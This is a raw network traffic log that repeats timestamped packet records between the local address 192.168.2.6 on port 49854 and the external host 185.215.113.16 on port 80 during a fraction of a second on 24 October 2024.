Oct 24, 2024 11:02:47.238802910 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238811016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238818884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238832951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238846064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238847971 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238858938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238873005 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238874912 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238888025 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238898993 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238903046 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238922119 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238929033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238941908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238955021 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238965034 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.238967896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238981009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.238997936 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239021063 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239037037 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239051104 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239063025 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239075899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239085913 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239089966 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239099979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239104986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239120007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239128113 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239157915 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239389896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239403009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239424944 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239435911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239443064 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239449024 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239459038 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239463091 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239475965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239490032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239501953 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239501953 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239514112 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239522934 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239527941 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239537954 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239542007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239556074 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239567041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239571095 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239581108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239590883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239594936 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239609003 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239612103 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239620924 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239629030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239631891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239634991 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239650011 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239660978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239661932 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239696980 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239715099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239875078 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239907980 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239923000 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239947081 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.239947081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239963055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.239978075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240001917 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.240015984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240020037 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.240031004 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240042925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240053892 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.240056992 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240070105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240080118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.240082979 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240098000 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240111113 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240111113 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.240123034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240151882 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.240169048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.240917921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240931034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240943909 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240957022 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240969896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240972996 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.240982056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.240997076 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241004944 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241009951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241020918 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241024971 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241038084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241050005 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241050959 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241064072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241075993 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241077900 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241091967 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241096020 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241112947 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241134882 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241138935 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241324902 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241341114 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241349936 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241363049 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241368055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241381884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241389036 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241403103 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241470098 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241637945 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241677999 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241837978 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241905928 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241918087 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241931915 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.241950035 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241982937 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.241991997 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242005110 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242018938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242032051 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242044926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242069006 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242094040 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242125034 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242141008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242153883 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242166042 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242176056 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242180109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242193937 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242202044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242209911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242219925 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242223024 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242249012 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242249012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242271900 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242275953 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242300034 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242324114 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242326021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242338896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242352009 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242358923 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242367983 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242376089 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242392063 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242405891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242494106 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242506027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242517948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242528915 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242541075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242547989 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242556095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242568970 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242578030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242580891 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242587090 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242599010 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242621899 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242638111 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242645979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242650986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242666006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.242667913 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242695093 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.242710114 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243175030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243190050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243202925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243232012 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243251085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243258953 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243266106 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243278980 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243290901 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243293047 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243309021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243324995 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243335009 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243340969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243354082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243360043 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243386984 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243395090 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243407965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243418932 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243419886 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.243436098 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243459940 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.243956089 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244008064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244010925 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244021893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244043112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244051933 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244059086 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244066954 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244080067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244102001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244102955 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244121075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244126081 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244134903 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244177103 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244179964 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244184017 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244194984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244209051 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244224072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244240046 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244255066 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244255066 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244267941 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244288921 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244302988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244318008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244401932 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244401932 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244833946 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244859934 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244874001 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244885921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244898081 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244921923 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244929075 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244941950 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244957924 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244963884 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244968891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244981050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.244993925 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.244996071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245011091 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245028973 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245034933 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245063066 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245083094 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245098114 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245121956 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245135069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245140076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245148897 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245162010 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245167017 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245177031 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245183945 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245208979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245222092 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245769978 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245834112 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245836020 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245847940 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245861053 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245878935 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245898962 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245901108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245914936 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245927095 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245940924 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245940924 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.245992899 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.245992899 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246010065 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246021032 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246021986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246028900 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246048927 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246058941 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246063948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246083975 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246088982 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246104002 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246109962 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246118069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246124983 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246134043 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246143103 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246159077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246170998 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246726036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246778011 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246933937 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246946096 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246959925 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246973991 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.246980906 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.246988058 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247004986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247011900 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247030973 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247040987 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247054100 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247066021 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247071981 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247078896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247088909 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247092962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247113943 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247114897 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247128010 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247133970 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247143030 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247155905 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247155905 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247169018 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247188091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247203112 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247204065 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247219086 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247245073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247257948 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247775078 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247826099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247842073 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247855902 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247883081 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.247886896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.247900009 CEST	80	49854	185.215.113.16	192.168.2.6
